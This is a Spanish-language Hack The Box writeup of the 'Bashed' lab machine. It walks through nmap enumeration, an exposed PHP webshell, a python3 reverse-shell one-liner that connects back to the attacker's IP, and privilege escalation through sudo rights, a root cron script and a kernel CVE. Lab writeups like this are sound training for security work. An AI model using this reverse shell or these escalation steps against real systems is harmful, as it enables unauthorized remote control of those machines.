HacktheBox — Writeup — Bashed No/MSF
Resumen
En esta ocasión es el turno de la maquina Bashed, en el proceso de enumeración, digamos que para mi fue intuitivo encontrar al directorio , lo encontré incluso antes que gobuster , el acceso inicial no fue dificil, para obtener una shell reversa interactiva si intente un par (bash,php,nc) y python al final funciono.
Sobre la escalada de privilegios, la primera escalada fue vertical (hacia otro usuario) y luego escalada de privilegios horizontal a través de un archivo que pertenecía al usuario scriptmanager
Identificación de puertos y servicios
Como siempre, es necesario identificar todos los puertos abiertos
nmap -v -n -p- --min-rate 3000 --open -oA bashed.ports 10.10.10.68PORT STATE SERVICE
80/tcp open http
Ahora la versión
nmap -sCV -p80 -O -oA bashed.services 10.10.10.68PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.8 (95%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Lo primero que aparece es un blog con información, haciendo referencia de que existe una webshell interactiva creada en php
Se descubrieron directorios
/uploads
/js
/php
/dev
/css
En el directorio /dev se encontró la webshell interactiva.
Para obtener una webshell interactiva se intento con php,bash,nc,perl y solo funciono con python3
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Escalada de privilegio I
Para escalar privilegios, siempre comienzo por sudo -l para determinar que puede ejecutar el usuario.
Con base en el resultado del comando sudo -l, se puede ejecutar cualquier archivo como el usuario scriptmanager sin necesidad de autenticación.
Ahora comenzamos a unir los puntos, ¿Cual es la necesidad de que se pueda ejecutar cualquier comando como el usuario scriptmanager?
Lo comprobamos
Contenido del script,
El archivo test.txt es creado por el archivo test.py que pertenece al usuario scriptmanager, en la imagen se puede observar la propiedad de creación del archivo test.txt pertenece al usuario root.
al parecer el archivo es ejecutado por el usuario root, ya que el archivo test.txt lo demuestra, Cambiamos por una shell reversa, esperamos que se ejecute, analizando las tareas programadas en el contexto del usuario scriptmanager no se identificó nada.
Cambiamos por una shellreversa y ponemos a la escucha un nc y listo!
Para comprobar la lista de tareas del root se puede observar la ejecución del interprete python dentro del directorio /scripts
Escalada de privilegio II
Se supone que aquí ya estamos con el usuario scriptmanager, se analizó la version del OS, existe una vulnerabilidad asociada al CVE-2017–16995
Se utilizó un exploit para escalada de privilegio local
Descargamos el exploit, compilamos y hacemos una transferencia desde la maquina bashed.
Se asigna permisos de ejecución al archivo descargado y se ejecuta
Conclusión
Enumera, procesos, usuarios,servicios, exploit kernel la enumeración es la clave para identificar el camino a seguir, normalmente no se encuentran este estilo de webshell interactivas en un entorno productivo, sirve para pensar fuera de la caja como preparatorio para el OSCP